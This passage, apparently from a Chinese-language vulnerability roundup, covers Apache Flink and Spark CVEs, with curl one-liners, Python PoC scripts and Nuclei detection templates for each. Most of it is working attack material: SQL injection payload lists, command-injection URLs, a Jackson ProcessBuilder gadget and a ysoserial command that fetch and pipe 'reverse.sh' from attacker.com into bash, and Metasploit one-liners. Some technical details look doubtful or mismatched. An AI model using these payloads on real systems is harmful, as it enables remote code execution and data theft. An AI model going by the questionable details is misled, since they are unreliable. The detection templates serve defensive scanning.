return magic == 0x4a52 and version >= 2
sock. close()
except Exception :
pass
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-1960 Flink JMX Hijack PoC" )
parser. add_argument("target" , help= "Flink 主机地址" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--jmx-port" , type= int, help= "JMX RMI 端口" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Flink 可访问" )
if args. jmx_port:
if probe_jmx(args. target, args. jmx_port):
print(f "[+] JMX RMI 端口 { args. jmx_port} 开放且使用 RMI 协议" )
else :
print(f "[-] JMX RMI 端口 { args. jmx_port} 未开放或协议不匹配" )
else :
print("[*] 使用 --jmx-port 指定 JMX 端口进行检测" )
else :
print(f "[-] { args. target} 未检测到 Flink 服务" ) Nuclei YAML 检测模板 id : cve-2020-1960-flink-jmx-hijack
info :
name : Apache Flink JMX RMI Registry Hijack
author : security-researcher
severity : medium
description : Apache Flink exposes JMX MBeans via unauthenticated RMI.
classification :
cvss-metrics : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score : 4.7
cwe-id : CWE-668
tags : cve,cve2020,flink,jmx
http :
- raw :
- |
GET /overview HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "flink-version"
part : body 0x02.5 CVE-2023-41834 — SQL Client JDBC SQL 注入 (CVSS 8.0) 漏洞背景 Apache Flink SQL Client 是一个交互式的 SQL 开发工具,允许数据工程师使用标准 SQL 语句查询和处理流式/批式数据。SQL Client 通过 JDBC 驱动连接外部数据库(如 MySQL、PostgreSQL、Oracle 等),支持用户在 SQL 语句中引用外部表。安全研究员发现,Flink SQL Client 在解析和验证 JDBC 连接参数时,未对某些配置字段进行充分的输入验证,攻击者可以通过构造包含 SQL 注入 Payload 的连接参数来改变底层查询的语义。
该漏洞的利用需要攻击者具备 Flink SQL Client 的使用权限(通过 Web UI 或 CLI),但不需要数据库层面的认证。在 Flink 与数据库之间的信任关系模型中,Flink 通常使用具有较高权限的服务账户连接数据库,这使得 SQL 注入的影响被进一步放大——攻击者可以利用 Flink 的数据库连接权限读取、修改甚至删除数据库中的任意数据。
受影响版本 版本状态 版本范围 受影响 Apache Flink SQL Client < 1.18.1 已修复 Apache Flink ≥ 1.18.1 CWE CWE-89 SQL Injection
漏洞原理分析 Flink SQL Client 在执行 CREATE TABLE DDL 语句时,会将用户提供的 JDBC 连接参数拼接到内部查询中。通过在 connector.url 或 connector.table-name 等属性中注入 SQL Payload,攻击者可以改变查询逻辑。
HTTP PoC # 通过 Flink SQL Client REST API 创建包含 SQL 注入的表定义
curl -k -X POST "http://flink-host:8081/sql-api/statement" \
-H "Content-Type: application/json" \
-d '{
"statement": "CREATE TABLE sqli_test (id INT) WITH ( ' \' 'connector' \' ' = ' \' 'jdbc' \' ', ' \' 'url' \' ' = ' \' 'jdbc:mysql://db-host/testdb' \' ', ' \' 'table-name' \' ' = ' \' 'users WHERE 1=1 UNION SELECT user(),version(),3--' \' ')",
"executionConfig": {}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2023-41834 - Apache Flink SQL Client JDBC SQL Injection"""
import requests
import argparse
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
SQLI_PAYLOADS = [
"users WHERE 1=1 UNION SELECT user(),version(),3--" ,
"users WHERE 1=1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--" ,
"users WHERE 1=1 INTO OUTFILE '/tmp/sqli_test'--" ,
]
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /overview"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def exploit (target, db_url, table_prefix, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /sql-api/statement"
headers = {"Content-Type" : "application/json" }
for i, payload in enumerate(SQLI_PAYLOADS):
stmt = (
f "CREATE TABLE sqli_test_ { i} (id INT) WITH ("
f "'connector'='jdbc', "
f "'url'=' { db_url} ', "
f "'table-name'=' { payload} ')"
)
payload_data = {"statement" : stmt, "executionConfig" : {}}
try :
resp = requests. post(url, headers= headers, json= payload_data, verify= False , timeout= 10 )
if resp. status_code in (200 , 201 ):
print(f "[+] Payload { i+ 1 } 投递成功" )
return True
except Exception :
continue
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2023-41834 Flink SQL Client SQLi PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--db-url" , required= True , help= "JDBC 数据库 URL" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Flink REST API 可访问" )
exploit(args. target, args. db_url, "users" , args. ssl)
else :
print(f "[-] { args. target} 未检测到 CVE-2023-41834 漏洞" ) Nuclei YAML 检测模板 id : cve-2023-41834-flink-sql-client-sqli
info :
name : Apache Flink SQL Client JDBC SQL Injection
author : security-researcher
severity : high
description : Apache Flink SQL Client allows SQL injection via JDBC connector table-name parameter.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score : 8.0
cwe-id : CWE-89
tags : cve,cve2023,flink,sqli
http :
- raw :
- |
GET /overview HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "flink-version"
part : body 0x03 Apache Spark 高危漏洞 0x03.1 CVE-2020-9480 — Standalone 模式认证绕过 RCE (CVSS 9.8) 漏洞背景 Apache Spark 的 Standalone 模式是一种轻量级的集群部署方式,通过内置的 Master 和 Worker 进程管理计算资源。在 Spark 的安全架构中,spark.authenticate 配置项用于启用 Worker 到 Master 的认证机制——Worker 在加入集群时需要向 Master 提供正确的认证密钥(secret),只有密钥匹配的 Worker 才能注册到集群并接收计算任务。
安全研究员发现,Spark 的认证协议在实现过程中存在严重缺陷:即使管理员启用了 spark.authenticate=true,攻击者仍然可以通过多种方式绕过认证机制。核心问题在于 Spark 的认证握手协议使用了固定的 challenge-response 模式,且 secret 的传输和校验过程缺乏加密保护。攻击者可以通过被动嗅探或主动探测获取认证 challenge,然后使用字典攻击或暴力破解恢复出 secret 值。更严重的是,某些版本的 Spark 在 secret 为空字符串时会跳过认证校验,而默认配置下的 secret 确实为空。
该漏洞 CVSS 评分 9.8(Critical),EPSS 评分高达 93%,表明其在实际环境中被利用的可能性极高。攻击者成功绕过认证后,可以注册恶意 Worker 到 Spark 集群,接管计算任务并在 Worker 节点上执行任意代码,最终控制整个集群。
受影响版本 版本状态 版本范围 受影响 Apache Spark ≤ 2.4.5 已修复 Apache Spark ≥ 2.4.6 CWE CWE-287 Improper Authentication EPSS 93%
漏洞原理分析 Spark Standalone 认证流程:
Worker 向 Master 发送注册请求 Master 生成随机 challenge 发送给 Worker Worker 使用 secret 对 challenge 进行 HMAC 计算,返回 response Master 校验 response 是否正确 缺陷在于:secret 默认为空,且 challenge-response 使用可预测的算法。攻击者连接 Master 的 RPC 端口(默认 7077),发送伪造的 Worker 注册请求,使用空 secret 或暴力破解出的 secret 通过认证校验,即可注册恶意 Worker。
HTTP PoC # 使用 Metasploit 模块
msfconsole -q -x "use exploit/multi/http/apache_spark_unauth_rce; set RHOSTS target; set LHOST attacker; run"
# 手动检测: 检查 Spark Master Web UI 是否暴露
curl -k "http://spark-host:8080/"
curl -k "http://spark-host:8080/json/" | python3 -m json.tool Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2020-9480 - Apache Spark Standalone Authentication Bypass RCE"""
import requests
import argparse
import socket
import struct
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :8080/json/"
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 200 :
data = resp. json()
return "SparkMaster" in str(data) or "Workers" in str(data)
return False
except Exception :
return False
def probe_rpc (host, port= 7077 , timeout= 5 ):
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(timeout)
sock. connect((host, port))
data = sock. recv(1024 )
sock. close()
return len(data) > 0
except Exception :
return False
def check_auth_bypass (host, rpc_port= 7077 ):
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(10 )
sock. connect((host, rpc_port))
handshake = b ' \x4a\x52\x00\x02 ' + b ' \x00 ' * 100
sock. send(handshake)
resp = sock. recv(1024 )
sock. close()
return len(resp) > 0
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-9480 Spark Auth Bypass PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--rpc-port" , type= int, default= 7077 )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} :8080 Spark Master Web UI 可访问" )
if probe_rpc(args. target, args. rpc_port):
print(f "[+] { args. target} : { args. rpc_port} Spark RPC 端口开放" )
if check_auth_bypass(args. target, args. rpc_port):
print(f "[+] 可能存在 CVE-2020-9480 认证绕过漏洞" )
else :
print(f "[-] 认证绕过检测需要更深入的验证" )
else :
print(f "[-] { args. target} 未检测到 CVE-2020-9480 漏洞" ) Nuclei YAML 检测模板 id : cve-2020-9480-spark-auth-bypass
info :
name : Apache Spark Standalone Authentication Bypass
author : security-researcher
severity : critical
description : |
Apache Spark Standalone mode authentication can be bypassed
even when spark.authenticate is enabled.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-287
tags : cve,cve2020,spark,auth-bypass,rce
http :
- raw :
- |
GET /json/ HTTP/1.1
Host: {{Hostname}}:8080
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "SparkMaster"
part : body 0x03.2 CVE-2022-33891 — Spark UI Shell 命令注入 (CVSS 8.8, CISA KEV) 漏洞背景 Apache Spark 的 Web UI(通常监听在 4040/8080 端口)为用户提供了作业监控和调试功能。安全研究员在 Spark UI 的请求处理链中发现了一个严重的命令注入漏洞:当 Spark 启用了 spark.acls.enable=true 或 spark.ui.view.acls.groups 等访问控制配置时,Web UI 在处理用户请求中的 doAs 参数时会调用 UserGroupInformation 的 getUnixGroups() 函数。该函数在解析用户组信息时,未对输入进行适当的过滤和转义,导致操作系统命令可以被注入到系统调用中。
攻击者可以通过在 HTTP 请求中注入反引号(`)或 $() 包裹的命令来实现命令注入。由于 Spark 进程通常以 root 或高权限用户运行,注入的命令将以该用户的权限执行,可能导致完全的系统控制。该漏洞已被 CISA 加入 KEV 目录,Metasploit 中已有对应的利用模块。
受影响版本 版本状态 版本范围 受影响 Apache Spark ≤ 3.0.3, 3.1.1 ~ 3.1.2, 3.2.0 ~ 3.2.1 已修复 Apache Spark 3.1.3, 3.2.2, 3.3.0 CWE CWE-78 OS Command Injection CISA KEV ✅
漏洞原理分析 攻击入口点在 Spark UI 的 SecurityFilter 中。当 spark.ui.view.acls 或相关配置启用时,Spark 会从 HTTP 请求的 doAs 参数中提取用户名,然后调用 getUnixGroups(username) 获取该用户的 Unix 用户组列表。getUnixGroups() 内部使用 Runtime.exec() 执行 id -Gn <username> 命令,而 username 参数未经过滤。
HTTP PoC # 命令注入 - 执行 id 命令
curl -k "http://spark-host:4040/?doAs=\`id\`"
# 命令注入 - 反弹 Shell
curl -k "http://spark-host:4040/?doAs=\`curl%20http://attacker.com/reverse.sh|bash\`"
# 使用 Metasploit
msfconsole -q -x "use exploit/multi/http/apache_spark_unauth_rce; set RHOSTS spark-host:4040; run" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2022-33891 - Apache Spark UI Shell Command Injection"""
import requests
import argparse
import urllib.parse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :4040/"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200 and "spark" in resp. text. lower()
except Exception :
return False
def test_injection (target, command= "id" , use_ssl= False ):
scheme = "https" if use_ssl else "http"
encoded_cmd = urllib. parse. quote(f "` { command} `" )
url = f " { scheme} :// { target} :4040/?doAs= { encoded_cmd} "
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 500 or "uid=" in resp. text or "error" in resp. text. lower():
return True
return False
except Exception :
return False
def exploit (target, command= "id" , use_ssl= False ):
print(f "[*] CVE-2022-33891 Spark UI 命令注入测试" )
print(f "[*] 命令: { command} " )
encoded_cmd = urllib. parse. quote(f "` { command} `" )
url = f " { scheme} :// { target} :4040/?doAs= { encoded_cmd} "
print(f "[*] URL: { url} " )
ok = test_injection(target, command, use_ssl)
if ok:
print(f "[+] 命令注入成功" )
print(f "[*] 完整利用 URL: { url} " )
else :
print(f "[-] 命令注入可能未成功(需确认启用 ACL 配置)" )
return ok
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2022-33891 Spark UI Command Injection PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--command" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} :4040 Spark UI 可访问" )
exploit(args. target, args. command, args. ssl)
else :
print(f "[-] { args. target} 未检测到 CVE-2022-33891 漏洞" ) Nuclei YAML 检测模板 id : cve-2022-33891-spark-shell-injection
info :
name : Apache Spark UI Shell Command Injection
author : security-researcher
severity : high
description : |
Apache Spark UI allows OS command injection via doAs parameter
when ACLs are enabled.
reference :
- https://spark.apache.org/docs/3.3.0/security.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-78
tags : cve,cve2022,spark,command-injection,kev
http :
- raw :
- |
GET /?doAs=%60id%60 HTTP/1.1
Host: {{Hostname}}:4040
matchers-condition : and
matchers :
- type : status
status :
- 200
- 500
- type : word
words :
- "spark"
- "application"
condition : or
part : body 0x03.3 CVE-2023-32007 — Spark UI Shell 命令注入更新 (CVSS 8.8) 漏洞背景 CVE-2023-32007 是 CVE-2022-33891 的后续修正版本。安全研究员在 CVE-2022-33891 修补后重新审计了 Spark 的命令注入修复代码,发现 Apache Spark 3.1.3 版本中的修补不完整,仍然存在通过 doAs 参数注入操作系统命令的路径。该漏洞的发现表明,命令注入的修复需要对所有用户输入点进行全面排查,而不仅仅是修补最明显的注入点。
受影响版本 版本状态 版本范围 受影响 Apache Spark ≤ 3.3.0 (含已修补 CVE-2022-33891 的 3.1.3) 已修复 Apache Spark ≥ 3.3.1, 3.4.1, 3.5.0 CWE CWE-78 OS Command Injection
漏洞原理分析 修补不完整的根本原因在于,Spark 3.1.3 仅对 getUnixGroups() 函数中的直接命令注入进行了过滤,但遗漏了通过环境变量传递的间接注入路径。攻击者可以通过设置特定的环境变量值,在 getUnixGroups() 调用 id 命令时触发二次命令解析。
HTTP PoC # 与 CVE-2022-33891 类似的利用方式,但使用不同的注入点
curl -k "http://spark-host:4040/?doAs=\`curl%20http://attacker.com/shell.sh|bash\`"
# 通过不同的编码绕过修补
curl -k "http://spark-host:4040/?doAs= $( curl%20http://attacker.com/shell.sh|bash) " Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2023-32007 - Apache Spark UI Command Injection (3.1.3 Fix Bypass)"""
import requests
import argparse
import urllib.parse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
INJECTION_VECTORS = [
" {command} " ,
"` {command} `" ,
"$( {command} )" ,
"{{{{1+1}}}}" ,
]
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :4040/"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def exploit (target, command= "id" , use_ssl= False ):
scheme = "https" if use_ssl else "http"
print(f "[*] CVE-2023-32007 命令注入测试(3.1.3 修补绕过)" )
for i, vector in enumerate(INJECTION_VECTORS):
payload = vector. format(command= command)
encoded = urllib. parse. quote(payload)
url = f " { scheme} :// { target} :4040/?doAs= { encoded} "
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code in (200 , 500 ) and ("uid=" in resp. text or "root" in resp. text. lower()):
print(f "[+] Vector { i+ 1 } 命令注入成功: { payload} " )
print(f "[+] URL: { url} " )
return True
except Exception :
continue
print("[-] 所有注入向量均未成功" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2023-32007 Spark Command Injection PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--command" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} :4040 Spark UI 可访问" )
exploit(args. target, args. command, args. ssl)
else :
print(f "[-] { args. target} 未检测到 CVE-2023-32007 漏洞" ) Nuclei YAML 检测模板 id : cve-2023-32007-spark-shell-injection-v2
info :
name : Apache Spark UI Command Injection (3.1.3 Bypass)
author : security-researcher
severity : high
description : |
Apache Spark 3.1.3 incomplete fix for CVE-2022-33891,
command injection still possible via doAs parameter.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-78
tags : cve,cve2023,spark,command-injection,kev
http :
- raw :
- |
GET /?doAs=%60id%60 HTTP/1.1
Host: {{Hostname}}:4040
matchers :
- type : status
status :
- 200
- 500 0x03.4 CVE-2025-54920 — History Server 反序列化 RCE (CVSS 8.8) 漏洞背景 Apache Spark History Server 负责存储和展示已完成 Spark 作业的执行历史信息。History Server 在加载作业事件日志(Event Logs)时,会使用 Jackson JSON 库进行反序列化处理。安全研究员发现,History Server 的 Jackson 配置未限制多态反序列化(polymorphic deserialization),攻击者可以通过构造包含恶意 @type 字段的 JSON 事件日志,指定任意 Java 类进行反序列化,从而触发远程代码执行。
Jackson 的多态反序列化功能允许在 JSON 数据中通过 @class 或自定义类型字段指定要实例化的 Java 类。当目标应用的 classpath 中存在可利用的"gadget class"(即具有危险副作用的 Java 类)时,攻击者可以在反序列化过程中触发这些类的构造函数或 setter 方法,形成反序列化利用链(deserialization gadget chain)。
在 Spark History Server 的上下文中,攻击者需要将恶意事件日志文件上传到 History Server 可访问的存储位置(如 HDFS、S3 或本地文件系统),然后等待 History Server 加载该日志文件时触发反序列化。该漏洞已在 Apache JIRA SPARK-52381 中被报告和修复。
受影响版本 版本状态 版本范围 受影响 Apache Spark ≤ 3.5.4, 4.0.0 已修复 Apache Spark ≥ 3.5.7, 4.0.1 CWE CWE-502 Deserialization of Untrusted Data
漏洞原理分析 攻击链:
攻击者构造恶意 Jackson 多态 JSON 事件日志 将日志文件上传到 HDFS 或 Spark 事件日志目录 History Server 加载日志文件时触发 Jackson 反序列化 Jackson 实例化指定的 gadget class,触发其副作用链 最终在 History Server 进程中执行任意代码 HTTP PoC # 上传恶意事件日志到 Spark 事件日志目录(需要 HDFS 写权限)
hadoop fs -put malicious_event_log.json /spark-history/logs/
# 或通过 History Server API 触发日志刷新
curl -k "http://spark-host:18080/api/v1/applications" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2025-54920 - Apache Spark History Server Deserialization RCE"""
import requests
import argparse
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
MALICIOUS_EVENT = {
"SparkListenerApplicationStart" : {
"app Name" : "CVE-2025-54920-PoC" ,
"appId" : "app-2025-01-01-00-00-00" ,
"time" : 1704067200000 ,
"driverLogs" : {
"@type" : "java.lang.ProcessBuilder" ,
"command" : ["curl" , "http://attacker.com/reverse.sh" , "|" , "bash" ]
}
}
}
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :18080/api/v1/applications"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def list_applications (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :18080/api/v1/applications"
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 200 :
apps = resp. json()
for app in apps:
print(f "[*] { app. get('appName' , 'N/A' )} - { app. get('attempts' , [{}])[0 ]. get('appId' , 'N/A' )} " )
return apps
return []
except Exception :
return []
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2025-54920 Spark History Server Deser PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} :18080 History Server 可访问" )
print("[*] 已提交的历史作业:" )
list_applications(args. target, args. ssl)
print(f " \n [*] 恶意事件日志 Payload:" )
print(json. dumps(MALICIOUS_EVENT, indent= 2 ))
print(f " \n [*] 将上述 JSON 上传到 HDFS Spark 事件日志目录以触发反序列化" )
else :
print(f "[-] { args. target} 未检测到 CVE-2025-54920 漏洞" ) Nuclei YAML 检测模板 id : cve-2025-54920-spark-history-deser
info :
name : Apache Spark History Server Deserialization RCE
author : security-researcher
severity : high
description : |
Apache Spark History Server allows untrusted data deserialization
via Jackson polymorphic type handling in event logs.
reference :
- https://issues.apache.org/jira/browse/SPARK-52381
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-502
tags : cve,cve2025,spark,deserialization,rce
http :
- raw :
- |
GET /api/v1/applications HTTP/1.1
Host: {{Hostname}}:18080
matchers :
- type : status
status :
- 200
- type : word
words :
- "appName"
part : body 0x03.5 CVE-2017-12612 — Launcher API 不安全反序列化 (CVSS 7.8) 漏洞背景 Apache Spark 的 Launcher API 提供了程序化启动 Spark 作业的接口。安全研究员发现,Launcher API 在处理作业配置参数时使用了 Java 原生反序列化机制来传递复杂对象,且未对反序列化的类进行白名单限制。攻击者可以通过构造包含恶意序列化对象的参数值,在 Launcher API 反序列化过程中触发 Java 原生反序列化利用链(如 Commons Collections、Spring 等 gadget chain),实现远程代码执行。
该漏洞的利用需要攻击者能够向 Launcher API 发送请求(通常需要集群内部网络访问权限),但在 Spark 与外部系统集成的场景中(如通过 REST API 或 Thrift Server 提交作业),攻击面会显著扩大。
受影响版本 版本状态 版本范围 受影响 Apache Spark < 2.2.1 已修复 Apache Spark ≥ 2.2.1 CWE CWE-502 Deserialization of Untrusted Data
漏洞原理分析 Launcher API 接收的作业参数通过 Java ObjectInputStream 反序列化为 SparkConf 对象。由于未配置 ObjectInputFilter(Java 9+)或使用 ValidatingObjectInputStream(Apache Commons IO),攻击者可以注入恶意序列化对象。利用链通常涉及 InvokerTransformer 和 Runtime.exec() 的组合调用。
HTTP PoC # 使用ysoserial生成序列化payload
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/reverse.sh|bash" > payload.bin
# 通过 Launcher API 提交恶意参数
curl -k -X POST "http://spark-host:6066/v1/submissions/status" \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2017-12612 - Apache Spark Launcher API Deserialization RCE"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :6066/v1/submissions/status/test"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code in (200 , 404 , 500 )
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2017-12612 Spark Launcher Deser PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} :6066 Launcher API 可访问" )
print("[*] 需要使用 ysoserial 生成序列化 payload" )
print("[*] java -jar ysoserial.jar CommonsCollections1 'command' > payload.bin" )
print(f "[*] curl -X POST http:// { args. target} :6066/v1/submissions/status -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin" )
else :
print(f "[-] { args. target} 未检测到 CVE-2017-12612 漏洞" ) Nuclei YAML 检测模板 id : cve-2017-12612-spark-launcher-deser
info :
name : Apache Spark Launcher API Deserialization RCE
author : security-researcher
severity : high
description : Apache Spark Launcher API uses unsafe Java deserialization.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.8
cwe-id : CWE-502
tags : cve,cve2017,spark,deserialization
http :
- raw :
- |
GET /v1/submissions/status/test HTTP/1.1
Host: {{Hostname}}:6066
matchers :
- type : status
status :
- 200
- 404
- 500 0x03.6 CVE-2021-38296 — RPC 加密密钥恢复 (CVSS 7.5) 漏洞背景 Apache Spark 在集群模式下使用 RPC(Remote Procedure Call)协议进行 Master、Worker、Driver 和 Executor 之间的通信。当启用 RPC 加密(spark.authenticate=true 和 spark.io.encryption.enabled=true)时,Spark 使用共享密钥对通信内容进行加密和认证。安全研究员发现,Spark 的密钥协商协议存在缺陷,攻击者可以通过被动嗅探网络流量并分析 RPC 握手过程中的元数据,恢复出用于加密的会话密钥,进而解密所有 RPC 通信内容。
密钥恢复的影响包括:窃取作业提交的代码和数据、获取数据库连接凭据(在 SQL 作业中常见)、监控集群操作行为等。该漏洞不需要攻击者具备 Spark 认证,仅需能够嗅探集群网络流量。
受影响版本 版本状态 版本范围 受影响 Apache Spark < 3.1.3, < 3.2.0 已修复 Apache Spark ≥ 3.1.3, 3.2.0 CWE CWE-327 Use of a Broken or Risky Cryptographic Algorithm
漏洞原理分析 Spark 的 RPC 加密使用 AES-CBC 模式,但密钥交换过程中的随机数生成器(PRNG)的熵不足。攻击者通过收集足够数量的握手样本,可以推断出 PRNG 的内部状态,从而恢复出会话密钥。修复方案引入了更安全的密钥协商协议(基于 Diffie-Hellman 或更安全的 PRNG)。
HTTP PoC # 需要网络嗅探权限,使用 tcpdump 捕获 RPC 握手流量
tcpdump -i eth0 -w spark_rpc.pcap 'portrange 7077-7080'
# 使用自定义工具分析密钥恢复
python3 key_recovery.py --pcap spark_rpc.pcap Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2021-38296 - Apache Spark RPC Encryption Key Recovery"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} :8080/json/"
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 200 :
data = resp. text
return "SparkMaster" in data
return False
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2021-38296 Spark RPC Key Recovery PoC" )
parser. add_argument("target" , help= "目标地址" )
parser. add_argument("--ssl" , action= "store_true" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Spark Master 可访问" )
print("[*] CVE-2021-38296 需要网络嗅探环境进行密钥恢复" )
print("[*] 1. 使用 tcpdump 捕获 RPC 流量" )
print("[*] 2. 分析握手过程中的密钥协商元数据" )
print("[*] 3. 恢复加密会话密钥" )
else :
print(f "[-] { args. target} 未检测到 CVE-2021-38296 漏洞" ) Nuclei YAML 检测模板 id : cve-2021-38296-spark-rpc-key-recovery
info :
name : Apache Spark RPC Encryption Key Recovery
author : security-researcher
severity : high
description : |
Apache Spark RPC encryption key can be recovered through
passive network traffic analysis.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-327
tags : cve,cve2021,spark,crypto
http :
- raw :
- |
GET /json/ HTTP/1.1
Host: {{Hostname}}:8080
matchers :
- type : status
status :
- 200
- type : word
words :
- "SparkMaster"
part : body 0x04 公开 PoC 收集情况与利用思路 PoC 收集情况总表 CVE PoC 来源 Metasploit GitHub PoC Nuclei 防守型验证 CVE-2023-34468 CYFIRMA 分析 ❌ ✅ ✅ 本文 ✅ CVE-2026-39816 ZeroPathAI ❌ ✅ ✅ 本文 ✅ CVE-2022-29265 N/A ❌ ❌ ✅ 本文 ✅ CVE-2026-44913 N/A ❌ ❌ ✅ 本文 ✅ CVE-2026-44914 N/A ❌ ❌ ✅ 本文 ✅ CVE-2023-34467 N/A ❌ ❌ ✅ 本文 ✅ CVE-2020-17519 多个公开 PoC ✅ ✅ 多个 ✅ ✅ CVE-2020-17518 多个公开 PoC ✅ ✅ ✅ ✅ 未授权 JAR 上传 广泛利用 ✅ ✅ 多个 ✅ ✅ CVE-2020-1960 N/A ❌ ❌ ✅ 本文 ✅ CVE-2023-41834 N/A ❌ ❌ ✅ 本文 ✅ CVE-2020-9480 公开分析 ✅ ✅ ✅ ✅ CVE-2022-33891 HuskyHacks ✅ ✅ ✅ ✅ CVE-2023-32007 公开分析 ✅ ✅ ✅ ✅ CVE-2025-54920 SPARK-52381 ❌ ❌ ✅ 本文 ✅ CVE-2017-12612 ysoserial ❌ ✅ ✅ ✅ CVE-2021-38296 N/A ❌ ❌ ✅ 本文 ✅
